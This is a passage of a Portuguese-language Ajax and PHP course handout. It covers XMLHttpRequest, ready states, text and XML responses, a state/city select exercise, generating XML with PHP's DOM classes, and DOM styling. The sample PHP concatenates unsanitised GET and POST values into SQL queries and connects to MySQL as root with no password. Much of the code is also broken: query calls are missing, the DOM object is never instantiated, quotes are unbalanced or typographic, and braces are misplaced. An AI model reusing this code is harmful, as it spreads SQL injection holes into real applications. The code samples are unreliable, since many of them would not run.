um retorno dado pelo servidor, e FALSE caso contrário.
Vejamos então como ficará a nossa função juntamente de alguns outros métodos essenciais no
Ajax:
function acessa(elemento,valor){
criaxmlhttp();
xmlhttp.open("GET",”arquivo01.php,true);
xmlhttp.send(null);
}
Como podemos observar, primeiramente é chamada a função “criaxmlhttp()”, a qual é responsável
por criar um objeto “xmlhttp” no qual logo após utilizamos em conjunto com o método OPEN. A
função acima demonstra a conexão a um arquivo em PHP chamado arquivo01.php.
Logo após é chamado o método “send” o qual podemos retornar algum tipo de valor para o
servidor, mas neste caso simplesmente retornamos como NULL significando assim que não há
mais nada a ser realizado no processo.
27
3.7.1 Analisando os 5 estados da requisição
Após termos efetuado a etapa acima nossa função ainda não está concluída, após o documento
dinâmico ter sido solicitado ao servidor, este passar por 5 estados de requisição, os quais podem
ser observados a seguir e devem ser analisados em nosso algoritmo conforme o tipo de
implementação que estamos realizando:
Estados:
0: Não inicializado (unitialized)
1: Carregando (loading)
2: Carregado (loaded)
3: Interativo (interactive)
4: Concluído (completed)
Dependendo da funcionalidade do seu script você utilizará testes para verificar qual tipo de estado
em que se encontra a leitura do documento no lado do servidor para o lado do cliente, sendo que
para executar este processo precisaremos chamar dois outros métodos em nossa função:
onreadystatechange: método que avalia a situação do documento carregado, e em cada
mudança do estado de leitura realiza determinados processos impostos pelo algoritmo.
objeto.readyState: método que retorna o estado de leitura do documento o qual foi solicitada a
execução e carregamento.
Logo, devemos então incorporar estes métodos em nossa função, ficando a mesma da seguinte
maneira:
function acessa(){
criaxmlhttp();
xmlhttp.open("GET","arquivo01.php,true);
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState == 4)
alert(„Dados Carregados!‟);
}
xmlhttp.send(null);
}
28
Observe que neste caso só nos interessa o estado de leitura “4”, ou seja, estamos executando
determinada ação somente quando o servidor tiver retornado por completo os dados do
documento dinâmico e sua execução estiver sido completada do outro lado.
Laboratório:
Tendo em vista o que foi ensinado até o momento já temos idéia de como são analisadas as
requisições em Ajax de uma forma macro.
Elabore um script aproveitando as funções vistas anteriormente de forma que seja solicitada a
execução de um script dinâmico em no servidor e enquanto este não estiver completamente
carregado seja exibida em uma DIV a mensagem: “Aguarde: carregando...”
3.8 Verificando os dados retornados pelo servidor:
Os dados que foram lidos pelo Javascript na conexão assíncrona são retornados pelo servidor de
duas formas:
Formato Texto (simples);
Formato XML (mais organizado, porem mais complexo);
Como teremos um capitulo introdutório ao XML, iremos primeiramente tratar os dados recebidos
em forma de texto, mas para isso teremos que implementar um script simples que fará o papel do
nosso já mencionado “arquivo01.php” responsável por retornar os dados solicitados ao servidor.
Crie um novo arquivo e salve-o no mesmo diretório que o arquivo HTML e JS que estamos
utilizando. Nomeie-o como “arquivo01.php”.
Este arquivo conterá simplesmente a seguinte linha:
<?php
echo “Curso de AJAX”;
?>
3.9 Retornos em texto simples:
Para realizamos a leitura dos dados passados do servidor para o cliente no caso simples, ou seja,
formato texto teremos de criar uma terceira função responsável por coletar e interpretar esses
dados, dando assim o tratamento necessário a eles conforme a nossa necessidade.
29
Quando tratamos de dados em formato texto temos um método chamado “responseText” onde
ficam armazenados todos os dados que foram retornados do servidor no momento de execução do
script solicitado.
Crie então uma nova função a qual chamaremos de monta(), ficando ela como mostrado abaixo:
function monta(){
var dados = xmlhttp.responseText;
}
Como você pode observar é criada uma variável “dados” na qual o método responseText é
chamado em conjunto com o objeto já criado anteriormente xmlhttp.
Todos os dados retornados pelo servidor estão agora armazenados dentro desta variável,
podendo ser tratados como uma variável simples Javascript.
Criaremos no mesmo documento uma DIV com o nome de CONTEUDO e injetaremos dentro dela
o conteúdo retornado pelo servidor:
function monta(){
document.getElementById(“CONTEUDO”).innerHTML = dados;
}
Desta forma deveremos simplesmente chamar esta função dentro da nossa já implementada
função acessa(), ficando a mesma disponibilizada da seguinte forma:
function acessa(){
criaxmlhttp();
xmlhttp.open("GET","arquivo01.php”,true);
if(xmlhttp.readyState == 4){
monta();
else
document.getElementById(“CONTEUDO”).innerHTML
"Carregando...";
=
}
30
xmlhttp.send(null);
}
ATENÇÃO: nunca se esqueça de finalizar a função acessa() com o método xmlhttp.send, pois
caso contrário o servidor fica aguardando uma finalização da conexão assíncrona e não retorna os
dados para o browser.
DICA: da mesma maneira que você solicita a execução de um arquivo ao servidor, você pode
passar para eles variáveis que serão recebidas do outro lado pelo método que você as enviou,
veja o exemplo:
xmlhttp.open(“GET”,”arquivo01.php?id_pessoa=”+15,true);
Só não se esqueça de setar o método correto acima para que o script interprete e receba as
variáveis enviadas pelo Javascript no momento de execução.
Exemplo:
Utilizando um pouco mais de manipulação de elementos em DOM, realize o seguinte exercício:
Monte um documento em HTML que possua dois componentes do tipo SELECT em um formulário,
sendo que no primeiro serão listados alguns estados brasileiros e no outro ao selecionar-se o
estado serão apresentadas as respectivas cidades deste estado, conforme mostrado na imagem
abaixo:
Solução:
Para resolver este exercício você necessitará de 4 arquivos:
cidades.php: arquivo onde ficará o formulário HTML.
ajax01.js: Java script que será responsável pela execução assíncrona do arquivo dinâmico no
servidor e recuperação dos dados para o cliente.
31
ajax01.php: arquivo dinâmico que será executado pelo Ajax no servidor.
conexão.php: arquivo simples em php que simplesmente fará a conexão com o banco de dados.
Primeiro crie as tabelas no banco de dados usando a seguinte query:
CREATE TABLE IF NOT EXISTS estados (
id_estado int(10) unsigned NOT NULL auto_increment,
sigla char(2) ,
nome varchar(50) ,
PRIMARY KEY (id_estado)
);
INSERT INTO estados VALUES("1", "RS", "Rio Grande do Sul");
INSERT INTO estados VALUES("2", "SC", "Santa Catarina");
INSERT INTO estados VALUES("4", "SP", "São Paulo");
INSERT INTO estados VALUES("5", "RJ", "Rio de Janeiro");
CREATE TABLE IF NOT EXISTS cidades (
id_cidade int(10) unsigned NOT NULL auto_increment,
id_estado int(10) unsigned ,
nome varchar(100) ,
PRIMARY KEY (id_cidade)
);
INSERT INTO cidades VALUES("1", "1", "Porto Alegre");
INSERT INTO cidades VALUES("2", "1", "Alvorada");
INSERT INTO cidades VALUES("3", "1", "Viamão");
INSERT INTO cidades VALUES("4", "2", "Sombrio");
INSERT INTO cidades VALUES("5", "2", "São João do Sul");
INSERT INTO cidades VALUES("6", "4", "São Paulo");
INSERT INTO cidades VALUES("7", "5", "Rio de Janeiro");
Agora que possuímos os dados que serão acessados no banco de dados, criamos o arquivo de
conexão com o banco:
CONEXAO.PHP
32
<?php
mysql_connect('localhost','root','') or die(mysql_error());
mysql_select_db('alfamidia');
?>
A seguir o arquivo CIDADES.PHP o qual será a interface para o usuário:
<?php
include('includes/conexao.php');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"
/>
<script src="ajax01.js" type="text/javascript">
</script>
<title>Exercicio Ajax</title>
</head>
<body>
<form id="form1" name="form1" method="post" action="">
<table width="400" border="0" cellspacing="2" cellpadding="2">
<tr>
<td colspan="2">Formulário:</td>
</tr>
<tr>
<td width="55">Estado:</td>
<td width="331">
<select name="estado" id="estado"
onchange="acessa('cidades',this.value);" >
<option value="00">Selecione</option>
<?php
$sql = "select * from estados order by nome";
$rs = mysql_query($sql) or die(mysql_error());
33
$total = mysql_num_rows($rs);
for($x = 0; $x < $total; $x++)
{
$id_estado = mysql_result($rs, $x, 'id_estado');
$nome = mysql_result($rs, $x, 'nome');
?>
<option value="<?php echo $id_estado; ?>"><?php echo $nome;
?></option>
<?php
}
?>
</select>
</td>
</tr>
<tr>
<td>Cidade:</td>
<td>
<select name="cidades" id="cidades">
</select>
</td>
</tr>
</table>
</form>
</body>
</html>
Agora que possuímos o documento que será apresentado ao clientes, criaremos as duas ultimas
camadas restantes. O processo de leitura em Ajax consiste em solicitarmos através de uma função
em Java script que um arquivo em php seja executado no servidor, iremos então através dessa
execução enviarmos um valor (id_estado) para o servidor e o mesmo executar uma query no
banco de dados retornando as cidades respectivas do estado selecionado.
AJAX01.PHP
<?php
include('conexao.php');
34
$id_estado = $_GET["id_estado"];
$sql = "select * from cidades where id_estado = $id_estado";
$resultado = '';
for($x = 0; $x < $total; $x++){
$resultado .= utf8_encode(mysql_result($rs, $x, 'nome')) . ',';
}
echo $resultado;
?>
Observe que devido a codificação de caracteres é recomendável converter a string enviada para
utf8 antes de prosseguir com a operação.
Por fim, iremos montar o arquivo em Java script que realizará a requisição ao servidor:
AJAX01.JS
function criaxmlhttp(){
try{
xmlhttp = new XMLHttpRequest();
}catch(e){
try{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}catch(e1){
try{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
}catch(e2){
xmlhttp = false;
document.write("Navegador não da suporte a Ajax!");
}
}
}
}
35
function acessa(elemento,valor){
criaxmlhttp();
xmlhttp.open("GET","ajax01.php?id_estado="+valor,true);
if(xmlhttp.readyState == 4){
monta(elemento);
}else{
document.getElementById(elemento).innerHTML
="Carregando...";
}
}
xmlhttp.send(null);
}
function monta(elemento){
campo = document.getElementById(elemento);
campo.options.length = 0;
var dados_vet = dados.split(',');
for(i = 0; i < dados_vet.length-1; i++){
campo.options[i] = new Option(dados_vet[i]);
}
}
Devemos neste caso apenas dar uma atenção especial a função monta(), a qual foi modificada
para manipular via DOM as propriedades do componente SELECT do formulário que montamos.
De qualquer forma a manipulação por texto é a mais simples e mais usada por Ajax atualmente,
sendo que devemos ter domínio e dar a devida importância a manipulação de elementos do
documento via DOM.
Laboratório:
36
1. Crie dois selects: O primeiro deve conter uma lista de tipos de filme que seja carregada a
partir de um banco de dados. Ao clicar duas vezes sobre o tipos de filme o mesmo deve
ser deslocado para o select 2.
2. Crie um select com uma lista de 3 páginas que ao ser alterado mudará o conteúdo de uma
div para a página montada com algum parâmetro.
3. Monte uma caixa de texto que pesquise o que for digitado e mostre o que for encontrado
em uma tabela em uma div logo abaixo(como um “auto-completar”)
4. Crie uma lista de categorias de produtos que exiba em uma textarea a lista dos produtos
desta categoria.
Unidade 4 - Estrutura de um documento
XML
Dentre o uso do Ajax, temos como acompanhamento a utilização de uma tecnologia já bem
difundida no ambiente web e no desenvolvimento de software, o qual se resume a simplicidade e a
eficácia entre a compatibilidade de outras diversas tecnologias do mercado, o XML (eXtensible
Markup Language).
O XML consiste em um arquivo parecido com o HTML, porem ao invés de possuir tags com
formatação, possui dados.
A sua organização é mais rígida e é imposta por padrões globais, isso se justifica ao fato de o XML
ser utilizado seguidamente por dispositivos de baixo poder de armazenamento e processamento
(celulares, pda´s, palmtops, etc), o que os impede de realizar o debug do código como ocorre nos
computadores domésticos por exemplo.
A estrutura de um documento XML e baseada em TAGS, sendo que possuímos algumas regras
básicas para a criação de um documento XML consistente, veja o exemplo abaixo:
37
<?xml version="1.0" encoding="iso-8859-1"?>
<municípios>
<cidades>
<cidade>
<nome>Porto Alegre</nome>
</cidade>
<cidade>
<nome>Viamão</nome>
</cidade>
</cidades>
</municípios>
Onde:
Municípios: TAG root (PAI) do documento, todo documento XML deve possuir uma TAG ROOT, a
qual não possui dados, e sim somente filhos (cidades).
Cidades: nodo ou nó filho da tag root “municípios”.
Cidade: nodo ou nó filho da tag “cidades”, e neta da tag root “municípios”, possui um nó irmão
(com mesmo nível hierárquico) chamado “cidade”.
O documento XML possui extensão XML, e deve sempre vir acompanhado de um cabeçalho
especifico, onde o atributo encoding é opcional.
Ao criar as tags no seu arquivo XML nunca use espaços e acentos ou caracteres especiais.
Os navegadores mais comuns (Internet Explorer e Firefox) possuem uma grande facilidade na
interpretação destes arquivos, sendo que erros de sintaxe como mal fechamentos das tags por
exemplo acusam erros no navegador, o que gera a seguinte forma de retorno:
Firefox:
Internet Explorer:
38
DICA: a utilização dos arquivos XML é muito comum no ambiente Microsoft, exemplo disso é a
nova extensão de documento do Office 2007, onde seguem os padrões antigos, porem com um
“X” no final (.*docx, *.xlsx, *.pptx) isso tornou os arquivos mais leves e acessíveis mesmo para
quem não possui o Office.
Os documentos XML geralmente são gerados por um arquivo dinâmico, exemplo disso são os
arquivos de Feeds (RSS), onde vemos noticias e informações incorporadas e atualizadas a cada
minuto por um determinado site.
Como estamos trabalhando com Ajax e PHP veremos então uma forma prática de criarmos um
arquivo XML utilizando de DOM e PHP juntos.
Laboratório.
1. Crie um XML que reproduza a estrutura de notas de alunos
2. Crie um XML que reproduza a estrutura de cadastros de produtos
3. Crie um XML que reproduza o cadastro de clientes
4. Crie um XML que demonstre uma tabela de classificação de times de futebol
5. Crie um XML que represente a cotação de várias moedas
4.2 Montando um documento XML com DOM e PHP.
As versões mais recentes do PHP possuem uma classe chamada domDocument a qual permite
manipularmos uma serie de elementos de documentos com o PHP. É com esta classe que
poderemos elaborar a montagem de um arquivo XML pelo nossos script dinâmico.
Primeiramente iremos
exemplo01_xml.php.
criar
um
documento
novo
em
PHP
e
o
salvaremos
como
39
Como mencionado anteriormente utilizaremos um classe embutida no php que nos permite a
manipulação de elementos com DOM, logo necessitamos instanciar esta classe em um objeto:
$dom = new domDocument;
Para criarmos uma nova tag, no nosso caso a primeira a ser criada será definiada por nos como
tag ROOT do documento, precisaremos chamar o método cretaElement, que possui a seguinte
sintaxe:
Objeto.createElement(„nome‟,‟valor‟);
Ou seja,
$municipios = $dom->createElement(„municipios‟);
Toda vez que criamos um elemento, este ficará solto no ambiente até que seja designado um pai a
este nodo, para realizarmos esta atribuição necessitamos de um outro método chamado
appendChild, que possui a seguinte sintaxe:
Objeto.appendChild(„nodo‟);
Ou seja,
$dom->appendChild($municipios);
Por fim deveremos salvar o XML criado em um novo documento, porem com extensão apropriada:
$dom->save(„exemplo01_xml.xml);
Um script básico para a criação do XML se resume como mostrado a seguir:
EXEMPLO01_XML.PHP
<?php
$municipios = $dom->createElement('municipios');
$dom->save('exemplo01_xml.xml');
?>
Quando executarmos o documento gerado pelo nosso arquivo php obteremos a seguinte
apresentação:
40
Como não possuímos nenhum dado dentro da TAG municípios o próprio PHP trata de resumi-la,
sendo que este processo não é obrigatório, mas é tratado como uma certa elegância nos padrões
de leitura.
Observe agora que se quisermos dar continuidade a criação do XML até que tenhamos estrutura
semelhando a apresentada no inicio deste capitulo deveremos atentar para um detalhe:
O Objeto $dom é quem recebe como filho a tag municípios.
Logo, se criarmos outro elemento chamado “cidades”, quem receberá o elemento como filho não
será o objeto $dom e sim o objeto $municipios:
$cidades = $dom->createElement(„cidades‟);
$municipios->appendChild($cidades);
Faremos o mesmo processo com os outros elementos:
$cidade = $dom->createElement('cidade');
$cidades->appendChild($cidade);
Por fim, criaremos os últimos elementos irmão filhos de “cidade”:
$nome = $dom->createElement('nome','Porto Alegre');
$cidade->appendChild($nome);
Veja abaixo o código completo do algoritmo em php:
<?php
$municipios = $dom->createElement('municipios');
$cidades = $dom->createElement('cidades');
$municipios->appendChild($cidades);
$cidade = $dom->createElement('cidade');
$cidades->appendChild($cidade);
41
$nome = $dom->createElement('nome','Porto Alegre');
$cidade->appendChild($nome);
$dom->save('exemplo01_xml.xml');
?>
O resultado será o seguinte:
A maneira de implementação do PHP em XML é bem simples e funcional, lembrando que
podemos fazer algo mais robusto e dinâmico interagindo diretamente com o banco de dados.
Laboratório:
Como mencionado anteriormente podemos implementar um XML através de retorno de dados
vindos do banco de dados:
1. Implemente um algoritmo em PHP que retorne os dados da tabela de cidades da base de
dados já criada anteriormente.
Veja uma forma de interpretação do diagrama abaixo:
42
Como mencionado anteriormente podemos implementar um XML através de retorno de dados
vindos do banco de dados:
2. Monte dinamicamente um XML que represente uma receita
3. Crie e alimente um XML dinamicamente que mostre um organograma simples de uma
empresa
4. Crie e alimente um XML dinamicamente que represente um currículo
5. Crie e alimente um XML dinamicamente que mostre e hierarquia de pastas de um
computador
4.3 Montando um XML em PHP de forma Textual
É muito comum vermos arquivos em versões anteriores do PHP utilizando a forma textual (strings)
para retornar e gerar arquivos em XML pelo script.
Esta forma apesar de não muito adequada, pois é bem sujeita a erros, é ainda muito utilizada e
consistem em através de Loops ou somente atribuição armazenar a sintaxe do arquivo XML em
uma variável PHP.
Veja um exemplo abaixo:
<?php
$xml
= '<?xml version="1.0" encoding="iso-8859-1"?>';
$xml .= '<municípios>';
$xml .= '<cidades>';
43
$xml .= '<cidade>';
$xml .= '<nome>Porto Alegre</nome>';
$xml .= '</cidade>';
$xml .= '<cidade>';
$xml .= '<nome>Viamao</nome>';
$xml .= '</cidade>';
$xml .= '</cidades>';
$xml .= '</municípios>';
echo $xml;
?>
4.4 Retorno do conteúdo em XML para o Ajax
Após termos adotado uma forma de gerarmos o arquivo XML com os dados que devem ser
acessados pelo Javascript, teremos que de alguma forma realizar a leitura destes dados pelo
navegador.
Vimos anteriormente que a através do método obj.responseText, os dados retornados em formato
TEXTO podem ser lidos e tratados facilmente pelo nosso script.
Agora utilizaremos outro método especifico para a leitura dos dados XML, o obj.responseXML,
onde teremos mais facilidade em navegar pela estrutura do documento, podendo acessar
diretamente níveis hierárquicos dentro do mesmo e atributos de cada TAG existente dentro do
XML.
Veja um exemplo prático a seguie e logo acompanhe a analise, lembrando que aproveitaremos a
nossa função já implementada (criaxmlhttp()).
function leXML(url) {
criaxmlhttp();
document.getElementById("cabecalho").innerHTML = "Carregando …";
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-Type",
urlencoded");
"application/x-www-form-
xmlhttp.setRequestHeader("Cache-Control", "no-store, no-cache, mustrevalidate");
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState == 4) {
44
if (xmlhttp.status == 200) {
montaResultado();
}
}
}
xmlhttp.send(null);
}
Observe que alguns novos elementos estão disponíveis na sintaxe da função que lê nosso
documento XML.
O método setRequestHeader é responsável por inserir informações adicionais no cabeçalho do
documento lido passando alguns parâmetros para variáveis já definidas na estrutura:
xmlhttp.setRequestHeader("Content-Type",
urlencoded");
"application/x-www-form-
xmlhttp.setRequestHeader("Cache-Control", "no-store, no-cache, mustrevalidate");
Na primeira linha estamos atribuindo o valor de Aplicação ao tipo de conteúdo lido, já na segunda
o script seta o Controle de Cache do navegador como “sem armazenamento, Sem cachê,
Revalidavel, ou seja, estamos limpando o cachê do navegador para executar a leitura desses
dados, evitando assim que os mesmos sejam reaproveitados pelo browser.
Logo a seguir você pode observar que nosso teste de leitura do documento acesado efetua um
novo teste com o método xmlhttp.status, onde estamos verificando se o mesmo é igual a 200, ou
seja, se a página requisitada foi encontrada pelo servidor. O valor 200 significa página encontrada,
podendo ser trocado por outros valores que significam outros estados de acessibilidade do
documento.
Veja a tabela a seguir:
Código
Significado
Descrição
200
Ready
Documento encontrado e
pronto para ser lido.
400
Bad Request
Requisição
compreendida
servidor.
401
Unauthorized
A requisição só pode ser
não
pelo
45
retornada
autenticação.
mediante
403
Forbidden
O
objeto
não
tem
autorização de realizar a
requisição.
404
Not Found
Documento
encontrado.
Method not Allowed
O método utilizado para
executar a requisição não
é permitido pelo servidor
ou pelo documento.
Internal Server Error
O servidor retornou um
erro ao tentar responder a
requisição.
405
500
não
Vamos agora implementar uma função capaz de navegar por cada elemento do documento XML
que lemos durante a requisição:
function montaResultado(){
var dados_xml = xmlhttp.responseXML;
// Recupera todos os elementos categoria do objeto XML
var cidades = dados_xml.getElementsByTagName("cidades");
for (var i = 0; i < cidades.length; i++) {
// Atribui a cidade cada elemento
cidade = cidades[i];
for(var x = 0; x < cidade.childNodes.length; x++){
codigo =
cidade.getElementsByTagName("codigo")[x].firstChild.nodeValue;
descricao =
cidade.getElementsByTagName("descricao")[x].firstChild.nodeValue;
// Chama a função que cria as linhas da tabela
document.write(codigo);
document.write(descricao);
document.write("<hr>");
46
}
}
}
Como podemos observar o resultado retornado pelo documento requisitado foi armazenado na
variável “dados_xml’ através do método já mencionado “responseXML”.
Inicialmente o script realizar a busca de um elemento pelo nome de sua TAG, utilizando-se do
método “getElementByTagName”, logo após da mesma forma que fazíamos com o documento em
formato texto, é realizado um loop que percorre os nodos filhos dessa tag, e atribui esses valores
as variáveis “código” e “descrição”.
Neste caso é importante ressaltar a utilização do método “childNodes”, o qual refere-se aos nodos
filhos da tag selecionada.
Veja abaixo alguns outros métodos importantes no Java Script que facilitam bastante a navegação
por um documento XML.
.childNodes: retorna um vetor com o índice de nós (nodos) do elemento referenciado.
.firstChild: retorna o primeiro nodo filho do elemento referenciado.
.lastChild: retorno o ultimo nodo filho do elemento referenciado.
.nodeValue: recupera o valor de um nodo.
.parentNode: retorna o nodo pai do elemento referenciado.
.nextSibiling: retorna o elemento irmão localizado posteriormente ao elemento atual.
.previousSibiling: retorna o elemento irmão localizado anteriormente ao elemento atual.
.getElementsByTagName: retorna um vetor contendo a relação dos nodos filhos do elemento
referenciado.
.hasChildNodes: retorna um valor booleano (true ou false) caso o elemento possua nodos filhos.
.getAttribute: retorna o valor desejado de um atributo do elemento referenciado.
Laboratório:
1. Crie, alimente e retorne o conteúdo de um XML que mostre uma seqüência de jogos do
campeonato brasileiro com seus resultados
2. Crie, alimente e retorne o conteúdo de um XML que represente os horários de linhas do
ônibus intermunicipais
3. Crie, alimente e retorne o conteúdo de um XML que exiba a configuração de alguns
notebooks
4. Crie, alimente e retorne o conteúdo de um XML que demonstre a lista de compras de
usuários em um e-commerce
47
5. Crie, alimente e retorne o conteúdo de um XML que represente a discografia de
determinados artistas
48
Unidade 5 - Requisições dinâmicas em Ajax
ao PHP
5.1 Criando um documento XML textual com conexão
ao banco de dados
Iremos agora unir o que vimos até o momento, sendo que os dados do documento XML que
iremos montar serão acessados diretamente do servidor.
A lógica do processo é simples, o usuário acessara um documento HTML que possuirá um
componente responsável por executar um script dinâmico em PHP no servidor, este script por usa
vez irá gerar um documento em XML e retornar esses dados ao usuário.
Para realizar estas atividades utilizaremos um template muito conhecido na área de PHP chamado
templatepower, que pode ser facilmente localizado na Internet.
Em primeiro lugar vamos criar um novo documento HTML o qual possuirá simplesmente dois
menus de seleção dentro de um formulário. Observe:
Site_cidades.htm
<select name="id_uf" onChange="Dados(this.value);" class="formulario3">
<option value="0">--Selecione o estado >></option>

<option value="{id_uf}" {pselect}>{descricao_abreviada}</option>
49

</select>
<select name="listCidades" class="formulario3">
<option id="opcoes" value="0">--Primeiro selecione o estado-</option>
</select>
O processo todo será realizado no momento em que clicarmos no menu estado formulário.
Vamos antes montar o arquivo php que interpretará este documento HTML realizando a
conversação com o banco de dados e montando o MENU dos estados, não esquecendo de
incluirmos dois arquivos (conexão.php e a classe TemplatePower, responsável pelo sistema de
uso de templates):
Site_cidades.php
<?php
include('class.TemplatePower.inc.php');
include('conexao.php');
$sql = "select estados.* from estados order by estados.nome";
$tpl = new TemplatePower( "./site_cidades.htm" );
$tpl->prepare();
for($x = 0; $x < $total; $x++){
$tpl->newBlock('LOOP-UF');
50
$tpl->assign('id_uf',mysql_result($rs, $x, 'id_estado'));
$tpl->assign('descricao_abreviada',mysql_result($rs, $x, 'nome'));
}
$tpl->gotoBlock('_ROOT');
$tpl->printToScreen();
?>
Após este processo implementaremos agora o ultimo arquivo dinâmico, o documento que será
responsável por retornar os dados do banco de dados em formato XML para o navegador.
Ajax_cidades.php
include_once('conexao.php');
$pEstado = $_POST["estado"];
$sql = "select * from cidades where id_uf = ".$pEstado." order by nome";
//VERIFICA SE VOLTOU ALGO
if($total > 0){
$xml
= "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n";
$xml .= "<cidades>\n";
for($x = 0; $x < $total; $x++){
$xml .= "<cidade>\n";
$xml .= "<codigo>".mysql_result($rs, $x, 'id_cidade')
."</codigo>\n";
$xml .= "<descricao>".mysql_result($rs, $x,
'descricao')."</descricao>\n";
$xml .= "</cidade>\n";
}
$xml.= "</cidades>\n";
header("Content-type: application/xml; charset=iso-8859-1");
51
}
echo $xml;
?>
Se você executar este documento no navegador, poderá observar que ele retorna um documento
XML em formato Textual, ou seja, ao longo da implementação criamos uma string que recebia os
valores do XML e os atribuía a si mesmo, bastando no final escreve-la na tela.
O documento XML retornado é como esse, porem populado com os dados do banco:
<cidades>
<cidade>
<id_cidade></id_cidade>
<descricao></descricao>
</cidade>
<cidade>
<id_cidade></id_cidade>
<descricao></descricao>
</cidade>
</cidades>
Criaremos então um novo arquivo em .JS e nele armazenaremos as nossas funções, só não
esqueça de incluir este arquivo no documento HTML após a sua conclusão.
Ajax_cidades.js
function Dados(valor) {
//verifica se o browser tem suporte a ajax
try {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {
try {
52
ajax = new ActiveXObject("Msxml2.XMLHTTP");
}
catch(ex) {
try {
ajax = new XMLHttpRequest();
}
catch(exc) {
alert("Esse browser não tem recursos para uso do Ajax");
ajax = null;
}
}
}
if(ajax) {
//deixa apenas o elemento 1 no option, os outros são excluídos
document.forms[0].listCidades.options.length = 1;
idOpcao
= document.getElementById("opcoes");
ajax.open("POST", "../php/ajax_cidades.php", true);
ajax.setRequestHeader("Content-Type", "application/x-www-formurlencoded");
ajax.onreadystatechange = function() {
//enquanto estiver processando...emite a msg de carregando
if(ajax.readyState == 1) {
idOpcao.innerHTML = "Carregando...!";
}
//após ser processado - chama função processXML que vai varrer
os dados
if(ajax.readyState == 4 ) {
if(ajax.responseXML) {
processXML(ajax.responseXML);
}
53
else {
//caso não seja um arquivo XML emite a mensagem abaixo
idOpcao.innerHTML = "--Primeiro selecione o estado--";
}
}
}
//passa o código do estado escolhido
var params = "estado="+valor;
ajax.send(params);
}
}
Como você pode observar fizemos a junção das conexões e componentes de objetos em XMLHttp
em uma mesma função desta vez, esta sistemática é opcional e você pode optar por manter a
utilização de funções separadas, como foi o caso de usarmos anteriormente a função
“criaxmlhttp()” para o Ajax.
Por fim, logo após esta função iremos disponibilizar no mesmo arquivo a função responsável por
montar o menu de opções com as cidades listadas conforme o estado escolhido.
function processXML(obj){
//pega a tag cidade
var dataArray
= obj.getElementsByTagName("cidade");
//total de elementos contidos na tag cidade
if(dataArray.length > 0) {
//percorre o arquivo XML paara extrair os dados
for(var i = 0 ; i < dataArray.length ; i++) {
var item = dataArray[i];
//contéudo dos campos no arquivo XML
var codigo
=
item.getElementsByTagName("codigo")[0].firstChild.nodeValue;
var descricao =
item.getElementsByTagName("descricao")[0].firstChild.nodeValue;
idOpcao.innerHTML = "--Selecione uma das opções abaixo--";
54
//cria um novo option dinamicamente
var novo = document.createElement("option");
//atribui um ID a esse elemento
novo.setAttribute("id", "opcoes");
//atribui um valor
novo.value = codigo;
//atribui um texto
novo.text
= descricao;
//finalmente adiciona o novo elemento
document.forms[0].listCidades.options.add(novo);
}
}else {
//caso o XML volte vazio, printa a mensagem abaixo
idOpcao.innerHTML = "--Primeiro selecione o estado--";
}
}
A estrutura é muito parecida com o que vimos no capitulo anterior, sendo que devemos dar
atenção aos métodos de Dom responsáveis pela montagem do menu de listagem no HTML.
Exemplo:
document.forms[0].listCidades.options.add(elemento);
A sintaxe é simples, mostrando que apenas da mesma maneira que navegamos por níveis no XML
devemos acessar os elementos do documento. Como mencionado anteriormente o domínio do
DOM é essencial para a realização de bons trabalhos em Ajax.
O resultado do seu script será como mostrado na imagem abaixo:
55
Laboratório:
1. Crie um formulário como o do Twitter, que ao postar o conteúdo postado apareça logo
abaixo
2. Crie uma lista de notícias que seja exibida dinamicamente conforme a tela abaixo
56
57
Unidade 6 - Manipulando o DOM em
Javascript para recursos com Ajax
6.1 Acesso aos estilos dos componentes do
documento
Esta unidade tem como fins introdutórios os capítulos finais deste curso, como mencionado desde
o inicio o domínio de DOM é essencial para aproveitarmos ao máximo os recursos do Java Script
em conjunto com Ajax.
Como você já deve saber o acesso aos estilos dos componentes do documento web é feito
principalmente por folhas de estilos, o CSS. Estas propriedades podem também ser acessadas via
DOM, dando mais ênfase aos recursos que queremos disponibilizar ao documento para o usuário.
Veja o documento a seguir:
<html>
<head>
</head>
<body>
<div id="quadro">
Curso de Ajax
</div>
</body>
</html>
Este código simplesmente cria um documento HTML composto por uma DIV que possui um
conteúdo. As propriedades dessa DIV podem ser modificadas por um SELETOR no arquivo CSS
deste documento. Entretanto, como a mesma possui um nome (ID) podemos acessa-la facilmente
pelo DOM do Javascript.
Caso quiséssemos atribuir uma borda nela por exemplo:
elemento = document.getElementById("quadro");
elemento.style.border=
'1px #FF0000 dashed';
58
Como você pode observar primeiro devemos procurar o elemento dentro do documento com o
método “getElementById”. Após isso armazenamos o mesmo dentro de uma variável, e a seguir
acessamos todo e qualquer propriedade deste elemento por níveis.
elemento.style.border =
elemento.style.width =
'100px';
elemento.style.position =
'absolute';
elemento.style.background =
elemento.style.color =
'#FF0000';
'#FFFFFF';
Consultando um guia das principais tags em CSS voce pode melhorar as suas apresentações em
Ajax, atribuindo cores e comportamentos conforme o resultado retornado.
Vamos agora atribuir essas propriedades à uma função e executa-la no ato de carregamento do
documento.
<html>
<head>
<script type="text/javascript">
function estilo(){
elemento.style.border =
elemento.style.width =
'100px';
elemento.style.position =
'absolute';
elemento.style.background =
elemento.style.color =
'#FF0000';
'#FFFFFF';
}
</script>
</head>
<body onload="estilo();">
<div id="quadro">
Curso de Ajax
</div>
59
</body>
</html>
Laboratório.
1. Crie os seguintes formulários e funções que permitam manipular suas características de
estilos:
60
2. 2.Cria as seguintes tabelas e funções que permitam manipular suas características de
estilos.
61
6.2 Bibliotecas livres: a facilidade na manipulação de
documentos
A facilidade em trabalhar com desenvolvimento web se dá principalmente a termos a nossa
disposição milhares de conteúdos livres disponíveis na internet, sendo que muitos
desenvolvedores não se contentam somente a desenvolver soluções com as ferramentas e
linguagens disponíveis, e acabam por querer melhorar a forma de desenvolvimento como um todo
visando ganhar tempo e melhor a eficácia das suas aplicações.
